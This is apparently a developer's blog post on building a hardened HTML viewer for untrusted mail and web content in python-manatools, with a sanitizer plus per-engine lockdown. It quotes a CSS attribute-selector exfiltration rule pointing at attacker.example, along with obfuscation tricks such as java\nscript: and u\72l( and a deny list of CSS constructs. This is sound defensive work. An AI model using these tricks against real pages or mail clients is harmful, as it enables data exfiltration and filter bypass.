The widget that was missing

python-manatools is the Python library behind Mageia's configuration tools. Its core idea comes from libyui: you describe a dialog once — a VBox, a PushButton, a ComboBox — and a backend turns it into Qt, GTK, ncurses or, more recently, a page served to a browser. Application code never imports a toolkit.

It already had YRichText, which takes a string of HTML-ish markup and shows it. That widget is fine for what it was designed for: help text and descriptions written by the same people who wrote the application. It hands the markup to the toolkit more or less as given — a QTextBrowser on Qt, a Pango label on GTK, a small parser on ncurses — and reports a clicked link as a menu event whose id is the URL.

That model breaks the moment the HTML comes from somebody else. A mail body. A newsletter. Release notes fetched from a project page. Content written by a stranger, possibly a hostile one, and usually by a marketing tool that assumes a real browser. For that, there was nothing: no class, no factory method, no module on any backend.

So I added one. YHtmlView is a read-only view for untrusted HTML. It lives on the htmlview branch, and the pull request to main is the next step. This post is about the one design decision that made a four-backend security widget manageable, and about the things each engine taught me along the way.

The decision: trust no engine

The tempting design is per-backend: QtWebEngine has a request interceptor, WebKitGTK has policy decisions, a browser has iframe sandbox — let each backend use its engine's tools.

The problem is that two of the four backends have no engine. ncurses renders text. And both Qt and GTK need a fallback for systems where the web engine isn't installed — a QTextBrowser, a Gtk.Label. A design where the security lives in the engine is a design where the fallback path, the one nobody tests, has none.

The commit that started the branch says it in one line:

YHtmlView shows untrusted HTML such as mail bodies, so hardening must not depend on the rendering engine.

So the work splits into two layers that do not trust each other:

  1. A sanitizer in the shared AUI layer, which every backend calls before anything reaches a toolkit. One implementation, one test suite, one place to fix.
  2. Every engine locked down as if the sanitizer did not exist. JavaScript off, network intercepted, navigation refused. If the sanitizer has a bug — and a sanitizer written against the whole of real-world HTML will — the engine still holds.

Neither layer is the "real" one. That is the point.

The application-facing API

From the application's side, the widget is small:

view = factory.createHtmlView(vbox)
view.setCidResolver(lambda cid: parts.get(cid))       # {cid: (bytes, "image/png")}
view.setHtml(message_html)
...
ev = dlg.waitForEvent()
if ev.eventType() == yui.YEventType.WidgetEvent and ev.widget() == view:
    open_externally(view.lastActivatedUrl())          # the app decides, never the view

A few choices are visible in those lines.

Links are reported, never followed. A click posts a YWidgetEvent with reason Activated, and the application reads the original URL back with lastActivatedUrl(). The view never navigates anywhere. Whether a link opens in a browser, gets a confirmation prompt or is ignored is the application's decision.

Remote content is off by default. setAllowRemote(True) opts in, and remoteContentBlocked() tells the application how many remote resources were held back, so it can offer the familiar "show remote images" button. A tracking pixel never fires unless someone asks for it.

Embedded images go through a resolver. Mail messages reference their attachments as cid: URLs. setCidResolver() takes a callable that maps a content id to (bytes, mime) — the view never touches the filesystem or the MIME parser.

Relative URLs have an explicit policy. YHtmlBasePolicy.NoBase, the default, ignores <base href> entirely: relative links are reported verbatim and relative resources never load. DocumentBase resolves against the document's own <base>, http and https only, and the resolved images still obey the remote rule. Release notes want the second; mail wants the first.

The sanitizer

manatools/aui/yui_html.py is about 800 lines of standard library: html.parser.HTMLParser, html.escape, re, base64 and urllib.parse. No bleach, no lxml, no new dependency for a library that distributions package. It also deliberately imports nothing from manatools itself, so every backend can use it without an import cycle.

It is an allow-list rewriter, not a filter. It does not look for bad things and remove them; it rebuilds a new document out of the things it recognises as safe.

Elements

There are three outcomes for a tag:

  • Dropped with its content: script, iframe, object, svg, math, canvas, audio, video, template, noscript and similar. Nothing inside them survives.
  • Dropped as void elements: input, meta, link, embed, frame, source, … — this is where <meta http-equiv="refresh"> goes.
  • Unwrapped: anything not on the allow-list loses the element but keeps its text. A <form><button>Go</button></form> becomes the word "Go". This matters for mail, where a lot of meaningful text sits inside markup nobody needs.

Around eighty formatting, structural and table tags are allowed. <body> becomes a <div> with its bgcolor and text attributes folded into CSS; <html>, <head>, comments, doctypes and CDATA disappear.

Every href that survives is replaced. The document only ever contains opaque, numbered link targets; the real URLs go into a side list:

# Opaque link targets point at a reserved domain (RFC 2606 ``.invalid`` never
# resolves), so an engine that somehow followed one would go nowhere.
DOC_BASE_URL = "https://mana-htmlview.invalid/"
LINK_PREFIX = DOC_BASE_URL + "link/"

.invalid is reserved by RFC 2606 to never resolve. If some engine path I didn't anticipate does follow a link, it goes to a name that cannot exist. Backends map LINK_PREFIX + "7" back to link 7 and report it.

Before a scheme is checked, control characters and whitespace are stripped out of the URL:

_URL_JUNK_RE = re.compile(r"[\x00-\x20\x7f]+")

Browsers ignore those bytes when they parse a scheme, so java\nscript: is javascript: to an engine and has to be javascript: to the sanitizer too. Only http, https, mailto, ftp, tel and news survive. target and ping are dropped.

And one small kindness, because mail links lie about their targets constantly:

        # Show the real destination on hover: mail links lie about it often.

The original URL becomes the link's title, so hovering shows where it really goes, whatever the link text claims.

Images

data: URIs are accepted only for raster types — PNG, JPEG, GIF, WebP, BMP — and never SVG, which is a scripting language with a picture attached. cid: goes through the resolver with the same MIME rule, size caps and a per-id cache. http(s) loads only when remote content is allowed, and is counted otherwise. file: and everything else is dropped.

CSS

This is the part that took the longest. Mail HTML is almost entirely inline styles, so stripping CSS is not an option, and CSS is a surprisingly capable exfiltration channel. The classic example is an attribute selector that requests a different background URL per character:

input[value^="a"] { background: url(https://attacker.example/a) }

style attributes and <style> blocks are kept, but every declaration is checked. The rejected set includes expression(, javascript:, @import, image-set(, behavior, -moz-binding — and any backslash, because CSS escapes let you write url( as u\72l(. Every url() goes through the image rules above, and the cleanup ends with a rule I'm fond of:

A url( left over once the vetted ones are removed is malformed or obfuscated: drop the whole declaration.

At-rules are mostly dropped. @media and @supports survive, recursing to a bounded depth; @font-face, @keyframes and @page do not.

Limits

Hostile input does not have to be clever to be a problem. It can just be big, or deep. The sanitizer caps input at 8 MiB, nesting at 256 levels, links at 10,000, inline images at 8 MiB each and 32 MiB in total. The test suite includes 5,000 nested divs and a 4,000-row table, each with a time budget.

Failure

sanitize_html() never raises. If the parser itself throws, the fallback is not "return what we have" but "escape everything":

        # HTMLParser is lenient, but never let a parser bug leak raw input.
        body = _html.escape(text, quote=False)

The worst case is a page of visible markup, never a page of live markup.

The output is a complete document with its own Content-Security-Policy meta tag — default-src 'none', images only from data: (plus http:/https: when allowed), inline styles only, base-uri 'none', form-action 'none' — and referrer set to no-referrer. That CSP is the first piece of the second layer: it holds in any engine that honours it, sanitizer or not.

Qt: QtWebEngine, with QTextBrowser behind it

The Qt backend imports QtWebEngine lazily and falls back to QTextBrowser if the import or the view construction fails. The engine view runs in an off-the-record profile with no cache and no persistent cookies. A request interceptor allows data: and about:, plus http(s) images when remote content is on, and blocks everything else. Navigation is refused unless it is the view's own setHtml() load; a link click is turned into a report instead:

            if nav_type == QtWebEngineCore.QWebEnginePage.NavigationType.NavigationTypeLinkClicked:
                owner = self._owner()
                if owner is not None:
                    owner._on_link(url.toString())
                return False
            # Only our own setHtml() load (a data: URL) may proceed.
            return url.scheme().lower() in ("data", "about")

JavaScript, clipboard access, local-file access, plugins, the PDF viewer, WebGL, local storage, hyperlink auditing and DNS prefetch are all switched off — each looked up with getattr, so an older PySide6 without one of those attributes doesn't break the widget. createWindow returns nothing, and there is no context menu.

Two things surprised me.

setHtml() has a size limit. It goes through a data: URL, and that is capped at 2 MB:

# QWebEngineView.setHtml() goes through a data: URL capped at 2 MB.
_SETHTML_LIMIT = 2 * 1024 * 1024 - 4096

Qt documents that content above that size cannot be displayed, and a newsletter with inline images can get there. Documents over the limit now degrade to the text rendering with a logged warning, rather than to a blank widget.

Lazy loading QtWebEngine has a precondition. It refuses to initialise late unless AA_ShareOpenGLContexts was set before the QApplication existed. So the Qt backend's application setup now sets that attribute up front — a one-line change in a file that has nothing to do with HTML, and without which the widget simply doesn't load.

The QTextBrowser fallback overrides loadResource so it decodes inline base64 images and nothing else — no files, no network — and turns off its own link following.

On Mageia, verifying the real engine path also turned up a packaging lesson: the distribution splits PySide6's web engine into python3-pyside6-webenginewidgets, which in turn needs the network, webchannel and printsupport sub-packages. The pip wheel ships all of that in one; on the distribution the missing pieces only showed up once I exercised the real engine.

GTK: WebKitGTK 6.0, with a label behind it

The GTK backend is GTK 4, so it uses WebKitGTK 6.0 — the older WebKit2 4.x bindings target GTK 3 and are not an option. It runs in an ephemeral network session. JavaScript, JS markup, clipboard, WebGL, WebAudio, media, HTML5 storage, the page cache, developer extras, DNS prefetch and file-URL access are all turned off, each inside its own try, because "property absent in this WebKit version" means there is nothing to disable.

decide-policy inspects both navigation and new-window actions. A link click, or anything pointing at the opaque link prefix, is reported and ignored; only the initial about:blank load of the document is allowed in the main frame.

Testing against the real engine found two things the code review hadn't:

  • enable-hyperlink-auditing is deprecated in WebKitGTK 6.0. It came out of the settings list.
  • A WebView has no natural height. In a layout that doesn't expand it, it collapses to nothing — the widget is there, it is just zero pixels tall:
        # A WebView has no natural height: keep it visible in layouts that
        # do not expand it (the label fallback gets the same minimum).
        view.set_size_request(-1, _MIN_HEIGHT)

The fallback is a selectable, wrapping Gtk.Label inside a ScrolledWindow, fed Pango markup generated from the sanitized document. Its activate-link handler returns True, which means "handled — GTK, do not open this URI yourself". If set_markup ever rejects the markup, it falls back to plain text.

ncurses: HTML as navigable text

The terminal backend has no engine at all, which is exactly why the sanitizer also produces a text model: styled runs with bold, italic, underline and link indexes. Lists become • and 1. , quotes become > , table cells are joined with |, <hr> is a rule of box-drawing characters, <pre> stays verbatim, images become [alt].

YHtmlViewCurses reuses the existing YRichTextCurses machinery for scrolling and link highlighting through multiple inheritance, which needed one careful line. Both parents define setValue, and they mean different things — on YHtmlViewBase it is an alias for setHtml(), on YRichTextCurses it is "draw this markup":

        # bypassing YHtmlViewBase.setValue() which means setHtml() here.

So the backend calls YRichTextCurses.setValue(self, ...) explicitly. Arrow keys move between links as in YRichText; Enter reports the armed link as a YWidgetEvent instead of the YMenuEvent its parent would send.

Web: a sandboxed iframe that has to defend itself

The web backend serves a manatools dialog as a page to a local browser. The obvious move is to inline the sanitized HTML into that page. It is also the wrong one: the document would then share an origin with the dialog, its controls and its WebSocket.

Instead the widget renders an <iframe sandbox=""> — empty sandbox, so no scripts, no forms, no same-origin, no top navigation — whose src is /htmlview/<token>. The content is never part of the dialog page; the headless test checks exactly that. The token is secrets.token_urlsafe(24), registered in a weakref.WeakValueDictionary, so a destroyed dialog's widget isn't kept alive by a URL someone might still hold. Changing the content rotates the token, which kills the old document and its old links.

The interesting part is the server side. The dialog's own endpoints are protected by an Origin check. But a sandboxed frame has an opaque origin and runs no script; its requests are plain GETs. An Origin check cannot be the only guard. The /htmlview route stacks four:

  1. The path must match a strict pattern — token, optionally /link/<n> — or it is a 404.
  2. The Host must be local (the DNS-rebinding guard the rest of the server already used), and any Origin sent must be local, or it is a 403.
  3. If the browser sends Sec-Fetch-Dest, it must be iframe. A page that tries to pull the document in as an image, a script or a top-level navigation gets a 403.
  4. The token must be live, or it is a 404.

Link clicks are served by the same route: /htmlview/<token>/link/7 records the activation and answers 204 No Content, which leaves the frame exactly where it was. The click reaches the application as an event; the frame never navigates.

Each document gets its own CSP header on top of the meta tag, including frame-ancestors 'self' and a sandbox directive — so even a direct visit to the URL runs in a sandbox. That needed the server's security-header helper refactored to accept per-route overrides, since the rest of the app sends frame-ancestors 'none' and X-Frame-Options: DENY, which would block the frame outright.

And one detail no threat model would produce: mail HTML assumes a white page. In a browser in dark mode, the frame inherits a dark background and the mail's black text vanishes. The frame now forces a light background and the document declares color-scheme: light.

Testing the second layer on its own

The sanitizer test suite is headless and fast: active content, links, remote and cid: images, CSS tricks, structure and limits, text rendering. java\nscript:, u\72l(, a style block that tries to break out of itself, the nesting bomb and the giant table are all in there.

The web test talks to the real server without a browser, and checks the sandbox attribute, the CSP, refusal of a foreign Host or Origin, Sec-Fetch-Dest: image, unknown tokens, a ../server.py path, token rotation, and the CSP changing when remote content is allowed.

The GTK test needs a display but no interaction; it drives the GLib main loop by hand. On the WebKit path it checks that the engine received a document byte-identical to the sanitizer's output, that page JavaScript didn't run, and — with a tiny counting HTTP server serving a 1×1 GIF — that the remote image is not requested until it is allowed.

The test I care most about is this one:

Sanitizer bypassed: the engine settings and the CSP alone must hold.

It loads raw, unsanitized HTML with a script and a remote image straight into the WebView, skipping the sanitizer entirely, and asserts that nothing runs and nothing loads. That is the two-layer design as an executable claim. If someone later "simplifies" the engine settings because the sanitizer already handles it, this test fails.

There is also a demo, test/test_htmlview.py, which runs on any backend and switches between a newsletter with cid: images and a held-back remote hero image, a quoted conversation, release notes using DocumentBase, a deliberately hostile sample and a 1,000-row table. Its docstring is the whole specification in one sentence: no script runs, nothing remote loads until the checkbox is ticked, links never navigate and are reported instead.

What I'd tell someone doing the same

  • Put the hardening where every backend passes through it. The fallbacks are where security quietly disappears, because nobody runs them.
  • Then harden every engine as if that layer did not exist — and write a test that bypasses the sanitizer to prove it.
  • Rewrite from an allow-list; don't filter a deny-list. Unwrapping unknown tags keeps the text and loses the risk.
  • Normalise URLs the way the engine will before deciding what they are. java\nscript: is javascript:.
  • Treat CSS as code. Escapes, url() and attribute selectors are enough to exfiltrate.
  • Never follow links from the view. Report them and let the application decide.
  • Cap everything. Size, depth, links, image bytes — and fail closed, to escaped text.
  • Test against the real engine. The 2 MB setHtml() limit, the zero-height WebView, the deprecated WebKit setting and the split distribution packages were all invisible in review.

YHtmlView is on the htmlview branch of python-manatools, with the pull request to main to follow. QtWebEngine and WebKitGTK 6.0 are optional at runtime: without them, Qt and GTK fall back to their text renderers, and ncurses and the web backend need nothing extra.